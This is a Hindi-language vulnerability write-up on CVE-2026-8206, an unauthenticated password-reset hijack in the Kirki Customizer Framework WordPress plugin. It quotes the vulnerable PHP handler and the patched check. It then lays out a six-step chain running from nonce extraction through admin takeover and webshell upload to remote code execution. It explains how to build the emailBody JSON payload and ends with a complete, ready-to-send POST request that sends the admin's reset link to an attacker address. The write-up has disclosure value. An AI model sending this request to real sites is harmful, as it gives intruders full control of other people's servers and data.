
CVE-2026-8206: Kirki कस्टमाइज़र फ्रेमवर्क - बिना प्रमाणीकरण के खाता अधिग्रहण (CVSS 9.8)
CVSS v3.1 9.8 / 10.0 CRITICAL
Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2026-8206, Kirki Customizer Framework में एक बिना प्रमाणीकरण के खाता अधिग्रहण (Unauthenticated Account Takeover) भेद्यता है — यह एक लोकप्रिय WordPress पेज बिल्डर प्लगइन है जिसके 90,000 से अधिक सक्रिय इंस्टॉलेशन हैं। यह भेद्यता एक हमलावर को केवल एक HTTP अनुरोध भेजकर किसी भी WordPress खाते (एडमिन सहित) पर कब्ज़ा करने की अनुमति देती है।
यह बग ComponentLibrary मॉड्यूल के REST API एंडपॉइंट kirki-forgot-password में स्थित है। यह एंडपॉइंट किसी भी उपयोगकर्ता के लिए पासवर्ड रीसेट का अनुरोध करने की अनुमति देता है और रीसेट लिंक को उपयोगकर्ता के पंजीकृत ईमेल के बजाय हमलावर द्वारा निर्दिष्ट ईमेल पते पर भेजता है।
| जानकारी | विवरण |
|---|---|
| प्लगइन | Kirki Customizer Framework (WordPress Page Builder) |
| प्रभावित संस्करण | 6.0.0 – 6.0.6 |
| पैच किया गया | 6.0.7 (या 6.0.12+) |
| भेद्यता प्रकार | पासवर्ड रीसेट ईमेल अपहरण के माध्यम से बिना प्रमाणीकरण के खाता अधिग्रहण |
| एंडपॉइंट | /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password (या /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password) |
| CVSS | 9.8 CRITICAL |
शोषण हेतु पूर्वापेक्षाएँ:
→ Kirki 6.0.0–6.0.6 इंस्टॉल वाली हर WordPress साइट डिफ़ॉल्ट रूप से भेद्य है।
Kirki, Component Library सुविधा के लिए REST API एंडपॉइंट पंजीकृत करता है, जिनमें login, register, forgot-password और change-password शामिल हैं। ये सभी अतिथि (guest) पहुंच की अनुमति देते हैं (guest_permissions_check true लौटाता है)।
WordPress nonce एक CSRF सुरक्षा टोकन है। Kirki को X-WP-Element-Nonce हेडर के माध्यम से nonce की आवश्यकता होती है या अनुरोध में nonce पैरामीटर की जाँच करता है। हालाँकि, nonce को क्लाइंट साइड से सार्वजनिक रूप से उत्पन्न/निकाला जा सकता है।
WordPress पासवर्ड रीसेट टोकन उत्पन्न करने के लिए get_password_reset_key() का उपयोग करता है। यह टोकन भेजने से पहले Kirki द्वारा ईमेल टेम्पलेट में शामिल किया जाता है।
फ़ाइल: ComponentLibrary/controller/CompLibFormHandler.php
भेद्य संस्करण (6.0.0–6.0.6) में, handle_forgot_password() फ़ंक्शन यह सत्यापित नहीं करता है कि प्रदान किया गया ईमेल उपयोगकर्ता के पंजीकृत ईमेल से मेल खाता है या नहीं। एक हमलावर पीड़ित का उपयोगकर्ता नाम और अपना स्वयं का ईमेल निर्दिष्ट कर सकता है — रीसेट लिंक हमलावर के ईमेल पर भेज दिया जाएगा।
भेद्य स्रोत कोड:
public function handle_forgot_password( $request ) {
$form_data = $request->get_body_params();
$this->validate_nonce( 'kirki-forgot-password' );
$email = $form_data['email']; // <-- ATTACKER CONTROLLED
$username = $form_data['username'];
$user = get_user_by( 'login', $username );
//BUG: Does NOT check $email === $user->user_email
// Attacker's email is used directly
$key = get_password_reset_key( $user );
$reset_link = "$url?action=rp&key=$key&login=$username";
// SENDS RESET LINK TO ATTACKER'S EMAIL
wp_mail( $email, $subject, $body_with_reset_link );
// ^^^^^
// ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}
ईमेल का विषय और बॉडी क्लाइंट से emailSubject और emailBody पैरामीटर के माध्यम से बिना किसी HMAC हस्ताक्षर के प्राप्त होते हैं, जिससे अखंडता (integrity) की पुष्टि नहीं होती। हमलावर भेजे जा रहे ईमेल की सामग्री को मनमाने ढंग से संशोधित कर सकता है।
// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject']; // Client-controlled
$email_body = $form_data['emailBody']; // Client-controlled
// No verify_email_template_signature()
// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}
| कारक | स्पष्टीकरण |
|---|---|
| कोई प्रमाणीकरण आवश्यक नहीं | guest_permissions_check() true लौटाता है — कोई भी एंडपॉइंट को कॉल कर सकता है |
| किसी भी खाते पर कब्ज़ा किया जा सकता है | केवल उपयोगकर्ता नाम की आवश्यकता है (डिफ़ॉल्ट: 'admin') — ईमेल/पासवर्ड की आवश्यकता नहीं |
| प्रभाव: एडमिन अधिग्रहण | एडमिन अधिग्रहण → वेबशेल अपलोड → RCE → पूर्ण सर्वर नियंत्रण |
| व्यापक प्रसार | Kirki एक प्लगइन है जो कई WordPress थीम्स में व्यापक रूप से एकीकृत है |
CVE-2026-8206 का शोषण शून्य पहुंच से शुरू होता है — कोई खाता नहीं, कोई पासवर्ड नहीं, कोई सत्र नहीं — केवल HTTP अनुरोधों का उपयोग करके पूर्ण एडमिन अधिग्रहण तक।
Phase 1: Extract Nonce → Obtain nonce from a public page (if required)
Phase 2: Hijack Reset Email → Send reset link to attacker's email
Phase 3: Reset Password → Change admin password using the obtained reset key
Phase 4: Login Admin → Log in with the new password
Phase 5: Webshell Upload → Install backdoor via plugin upload
Phase 6: RCE → Execute arbitrary commands on the server
प्लगइन को wordpress.org से डाउनलोड करें और CompLibFormHandler.php फ़ाइल को सीधे खोलें:
// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
if ( $body_data['type'] === 'text' ) {
$email_body = $email_body . $body_data['value'];
} elseif ( $body_data['type'] === 'chip' ) {
$email_body = $email_body . $chip_data[ $body_data['value'] ];
// ^^^^^^^^^^^^^^^^^^^
// $chip_data['reset_link'] = actual reset URL!
}
}
→ कोड पढ़ने से पता चलता है: emailBody एक JSON सरणी होनी चाहिए, प्रत्येक आइटम में type और value होता है। यदि type = chip और value = reset_link है, तो Kirki स्वचालित रूप से रीसेट लिंक को ईमेल में सम्मिलित कर देता है।
प्लगइन निर्देशिका के भीतर सीधे grep करें:
grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/
संकलित फ्रंटएंड कोड आवश्यक सटीक JSON संरचना को उजागर करेगा।
Find endpoint (/wp-json/ or rest_route)
↓
Read PHP source → find $form_data['emailBody']
↓
Understand JSON array format (type / value)
↓
Read chip_data array → find key "reset_link"
↓
Build payload: emailBody=[{"type":"chip","value":"reset_link"}]
↓
Test → success
हमलावर forgot-password एंडपॉइंट पर पीड़ित के उपयोगकर्ता नाम (admin) और हमलावर द्वारा नियंत्रित एक ईमेल पते ([email protected]) के साथ POST अनुरोध भेजता है। सर्वर पीड़ित के लिए एक रीसेट कुंजी उत्पन्न करता है लेकिन रीसेट लिंक [email protected] पर भेजता है।
अनुरोध भेजना:
POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded
username=admin&[email protected]&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D